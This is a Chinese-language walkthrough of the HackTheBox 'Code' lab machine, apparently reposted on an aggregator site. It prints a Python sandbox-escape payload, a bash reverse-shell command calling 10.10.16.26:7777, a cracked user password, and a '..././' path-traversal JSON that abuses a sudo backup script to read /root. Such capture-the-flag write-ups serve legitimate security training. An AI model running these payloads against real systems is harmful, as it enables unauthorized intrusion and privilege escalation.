htb Code

先快速扫描

rustscan -a 10.10.11.62

PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
5000/tcp open upnp syn-ack ttl 63
发现有一个5000端口
nmap扫描

nmap -sC -sV -p 5000 -v -Pn -T4 10.10.11.62

image

image

image
发现是一个python的命令执行的环境
接下来进行沙箱逃逸
经过测试发现过滤了system,subprocess等众多命令执行函数,通过魔术方法绕过
执行id

print(''.__class__.__mro__[1].__subclasses__()[317]('id',shell=True,stdout=-1).communicate()[0].strip())

image

执行成功

直接执行反弹shell

print(''.__class__.__mro__[1].__subclasses__()[317]('bash -c "/bin/sh -i >&/dev/tcp/10.10.16.26/7777 0>&1"',shell=True,stdout=-1).communicate()[0].strip())

image

获取到了app-production用户的shell,得到用户flag
image

在instance下发现一个db文件
image

image

在数据库中发现development和martin用户
尝试破解hash,成功查询到
image

martin:nafeelswordsmaster
development:development
在linux的/home中发现martin用户
ssh连接

image

image

发现可以通过sudo执行backy.sh
查看backy.sh的内容

#!/bin/bashif [[ $# -ne 1 ]]; then/usr/bin/echo "Usage: $0 <task.json>"exit 1
fijson_file="$1"if [[ ! -f "$json_file" ]]; then/usr/bin/echo "Error: File '$json_file' not found."exit 1
fiallowed_paths=("/var/" "/home/")updated_json=$(/usr/bin/jq '.directories_to_archive |= map(gsub("\\.\\./"; ""))' "$json_file")/usr/bin/echo "$updated_json" > "$json_file"directories_to_archive=$(/usr/bin/echo "$updated_json" | /usr/bin/jq -r '.directories_to_archive[]')is_allowed_path() {local path="$1"for allowed_path in "${allowed_paths[@]}"; doif [[ "$path" == $allowed_path* ]]; thenreturn 0fidonereturn 1
}for dir in $directories_to_archive; doif ! is_allowed_path "$dir"; then/usr/bin/echo "Error: $dir is not allowed. Only directories under /var/ and /home/ are allowed."exit 1fi
done/usr/bin/backy "$json_file"

理解代码大概逻辑:把指定文件夹打包备份到指定文件夹下,攻击思路将/root目录备份到用户目录下
在用户目录下发现backups目录
image

这是一次该备份的利用
查看json文件

        "destination": "/home/martin/backups/","multiprocessing": true,"verbose_log": false,"directories_to_archive": ["/home/app-production/app"],"exclude": [".*"]
}

注意这段代码

updated_json=$(/usr/bin/jq '.directories_to_archive |= map(gsub("\\.\\./"; ""))' "$json_file")

需要绕过将../替换为空,可用..././绕过
构造json,将多余配置删除(不知到为什么多余配置保留利用不成功)

{"destination": "/home/martin/","directories_to_archive": ["/home/..././root"]
}

解压后获得root

image

image

获取root shell
在.ssh中获取私钥
ssh连接
image

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/908623.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

敏捷开发的终极形态?2025年必试的5款集成混沌工程的项目管理黑科技

随着企业数字化转型的加速,敏捷开发已从单纯的高效迭代演变为融合混沌工程的“韧性敏捷”模式。混沌工程通过主动注入系统故障,验证系统在异常条件下的稳定性,成为保障敏捷开发持续交付的关键技术。据Gartner预测,到2025年,70%的企业将在敏捷流程中集成混沌工程以增强系统…

SQL SERVER日常运维巡检系列之-实例级参数

前言做好日常巡检是数据库管理和维护的重要步骤,而且需要对每次巡检日期、结果进行登记,同时可能需要出一份巡检报告。本系列旨在解决一些常见的困扰: 不知道巡检哪些东西不知道怎么样便捷体检机器太多体检麻烦生成报告困难,无法直观呈现结果 实例的参数对系统性能和稳定…

How Memory is Implemented in LLM-based Agents?

原文链接:https://medium.com/@parklize/how-memory-is-implemented-in-llm-based-agents-f08e7b6662ff在之前的文章中,我们讨论了大语言模型(LLM)的局限性以及LLM与基于LLM的智能体之间的关系。 智能体为LLM带来的关键增强功能之一是记忆能力,这有助于克服LLM的上下文长度…

运行MBConicHulls教程

为了运行MBConicHulls(a Mathematica package to evaluate N-fold MB integrals)需要安装啥 目录环境Mathematica 13.0.1 Linux版 ✅MultivariateResidues.m (计算多变量余数)✅TOPCOM(一个用于计算三角剖分和相关结构的软件包) ✅前置安装需求步骤-已跑通安装完了测试一下…

信创概念股投资回报率最高的五家公司

信创产业作为近年来备受瞩目的领域,其发展态势对投资者具有极大的吸引力。探寻信创概念股中投资回报率最高的五家公司,对于投资者来说至关重要。这不仅能为他们的资金找到更具潜力的投向,也有助于把握行业发展的脉搏,在复杂多变的市场中获取丰厚的回报。随着信息技术的飞速…

信创国产化背景下人才培养的四大策略

信创国产化是当前我国科技发展的重要战略方向,旨在实现信息技术领域的自主可控,减少对国外技术的依赖,保障国家信息安全。在这一背景下,人才的培养显得尤为关键。信创国产化涉及众多领域和技术,从芯片、操作系统、数据库到各类应用软件,每一个环节都需要专业人才的支撑。…

信创行业政策支持与市场机遇探讨

信创,即信息技术应用创新产业,旨在实现信息技术领域的自主可控,保障国家信息安全。近年来,随着全球政治经济形势的变化以及科技竞争的日益激烈,信创行业迎来了前所未有的发展契机。政策的大力支持为信创行业筑牢了坚实的发展根基,而广阔的市场则为其提供了无限的增长可能…

华硕asus灵耀pro14笔记本电脑在使用自带oled屏幕时低亮度灰色背景时有肉眼可见的闪烁频闪现象

因为平时都是外接屏幕使用,没太在意,最近经常搬着笔记本到处用,才注意到 原本以为是硬件层面的问题,后来搜了一下发现可能是驱动级的节能设置导致的 打开“英特尔显卡控制中心”,找到 系统-功率 分别在使用电池与外接电源场景下,将面板自刷新关掉 其它几个自适应亮度、显…

如何通过PLM项目管理软件提升产品开发效率的7个关键步骤

产品开发效率对于企业的竞争力至关重要。在当今复杂多变的商业环境中,如何有效提升产品开发效率成为众多企业关注的焦点。产品生命周期管理(PLM)作为一种整合产品全生命周期信息的管理理念和技术,为提升产品开发效率提供了有力的支持。通过合理运用PLM,企业能够优化流程、…

BUG记录--Mybatis-Plus注解中动态sql的注意事项

问题点,报错 原因,如果配置了动态sql -- 使用了 <foreach></foreach> 标签前,一定要用 <script></script> 整体包起来,不然动态sql不起作用所以,在 @Select 等注解中使用动态 SQL 时,必须用 <script> 标签包裹。 正确的sql

web164笔记(图片二次渲染绕过)

先右键查看源码,发现有个download.php?image= 猜测有可能是上传图片马,然后文件包含执行命令,我们先上传一个图片马 点击查看图片,跳转到图片页面,但发现执行不了,crtl+s把图片下载下来后,对比之前的图片发现马被弄没了 应该是经过了二次刷新,这里用之前收集的外国师…